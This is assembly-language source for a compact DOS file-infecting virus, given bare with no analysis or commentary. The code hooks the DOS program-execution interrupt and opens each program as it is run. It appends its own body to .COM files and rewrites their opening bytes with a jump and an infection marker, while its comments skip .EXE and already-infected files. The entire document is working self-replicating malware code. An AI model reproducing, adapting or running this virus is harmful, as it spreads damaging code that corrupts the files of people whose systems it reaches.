VSize		=	085h

Code		Segment
		Assume	CS:Code
		Org	600h

Bytes		db	0CDh,20h,90h,90h

Start:		mov	si, 0100h
		mov	bx, offset Int21
		mov	cx, 0050h
		mov	di, si
		add	si, [si+2]
		push	di
		movsw
		movsw
		mov	es, cx
		cmpsb
		je	StartFile
		dec	si
		dec	di
	rep	movsw
		mov	es, cx
		xchg	ax, bx
		xchg	ax, cx
Loop0:		xchg	ax, cx
		xchg	ax, word ptr es:[di-120h]
		stosw
		jcxz	Loop0
		xchg	ax, bx
StartFile:
		push	ds
		pop	es
		ret

Int21:		cmp	ax, 4B00h
		jne	End21
Exec:		push	ax bx dx ds es
		mov	ax, 3D02h
		call	DoInt21
		jc	EndExec
		cbw			; Zero AH
		cwd			; Zero DX
		mov	bx, si		; Move handle to BX
		mov	ds, ax		; Set DS and ES to 60h,
		mov	es, ax		;  the virus data segment
		mov	ah, 3Fh		; Read first 4 bytes
		int	69h
		mov	al, 4Dh
		scasb			; Check for 4D5Ah or infected file mark
		je	Close		; .EXE or already infected
		mov	al, 2
		call	LSeek	; Seek to the end, SI now contains file size
		mov	cl, VSize	; Virus size in CX, prepare to write
		int	69h		; AH is 40h, i.e. Write operation
		mov	ax, 0E94Dh	; Virus header in AX
		stosw			; Store it
		xchg	ax, si		; Move file size in AX
		stosw			; Complete JMP instruction
		xchg	ax, dx		; Zero AX
		call	LSeek		; Seek to the beginning
		int	69h		; AH is 40h, write the virus header
Close:		mov	ah,3Eh		; Close the file
		int	69h
EndExec:	pop	es ds dx bx ax
End21:		jmp	dword ptr cs:[69h * 4]

LSeek:		mov	ah, 42h		; Seek operation
		cwd			; Zero DX
DoInt21:	xor	cx, cx		; External entry for Open, zero cx
		int	69h
		mov	cl, 4		; 4 bytes will be read/written
		xchg	ax, si		; Store AX in SI
		mov	ax, 4060h	; Prepare AH for Write
		xor	di, di		; Zero DI
		ret

VLen		=	$ - offset Bytes

Code		EndS
		End